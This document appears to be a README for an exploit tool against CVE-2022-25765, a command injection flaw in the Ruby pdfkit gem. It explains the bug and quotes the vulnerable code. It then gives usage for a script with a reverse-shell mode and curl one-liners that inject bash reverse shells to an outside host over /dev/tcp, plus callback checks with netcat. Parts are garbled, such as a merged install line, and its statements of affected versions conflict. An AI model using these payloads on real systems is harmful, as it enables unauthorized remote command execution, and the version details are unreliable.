
CVE-2022-25765 is a command injection vulnerability affecting pdfkit (Ruby gem) in versions < 0.8.7.2. The vulnerability has a CRITICAL severity with CVSS 9.8, as it allows remote command execution without authentication.
The problem lies in that pdfkit passes the url parameter directly to the shell without sanitization. The library internally executes wkhtmltopdf with a command similar to:
system("wkhtmltopdf --quiet ... '#{url}' output.pdf")
If the URL contains %20 (URL-encoded space) followed by backticks ` or $(), the shell interprets the content as a command and executes it.
CVSS 3.1: 9.8 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
The vulnerable code in pdfkit (source.rb:44-50):
def command
args = @options.map { |k, v| "--#{k} #{v}" }.join(' ')
"wkhtmltopdf #{args} \"#{@source.to_s}\" -"
end
The URL is directly interpolated into the shell command without sanitization. By including %20 (space), the content after the space escapes the context of the wkhtmltopdf argument, and a ` or $() allows arbitrary command execution.
UNICORDev (@NicPWNs and @Dev-Yeoj)
The original exploit is located at:
requests, urllib3pip install -r requirements.txt
# Modo comando personalizado (genera payload)
python3 exploit-CVE-2022-25765.py -c "whoami"
# Modo reverse shell (genera payload)
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444
# Modo web — enviar comando directamente al sitio vulnerable
python3 exploit-CVE-2022-25765.py -c "id" -w http://target.com/ -p url
# Modo web — reverse shell directa al sitio vulnerable
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444 -w http://target.com/ -p url
# Ayuda
python3 exploit-CVE-2022-25765.py -h
# Inyección via curl
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\`bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\`"
# O usando $() en lugar de backticks
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')"
# Comando simple
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\`id\`"
To identify if a server is vulnerable:
Creator: pdfkit v0.8.6# Enviar URL y recibir callback
curl -X POST http://target.com/ -d "url=http://TU_IP:4444/test"
# Listener: nc -lnvp 4444
# Si recibes la petición con User-Agent: wkhtmltopdf, la app convierte PDFs
# Verificar versión en metadatos del PDF
curl -s http://target.com/ -X POST --data-urlencode "url=http://example.com" -o output.pdf
pdfinfo output.pdf | grep Creator
# Buscar: "Generated by pdfkit v0.8.6" (vulnerable)
url parameter to remove dangerous characters (`, $(), %20)| Field | Value |
|---|
| CVE | CVE-2022-25765 |
| Product | pdfkit (Ruby gem) |
| Affected Versions | 0.0.0 – 0.8.7.2 |
| Type | Command Injection (CWE-78) |
| Authentication | Not required |
| CVSS 3.1 | 9.8 CRITICAL |
| Patch | pdfkit ≥ 0.8.7.2 |
| Parameter | Description |
|---|
-c | Custom command |
-s <IP> <PORT> | Reverse shell mode |
-w <URL> | URL of the vulnerable website (optional) |
-p <param> | POST parameter (optional, default: url) |
-h | Help |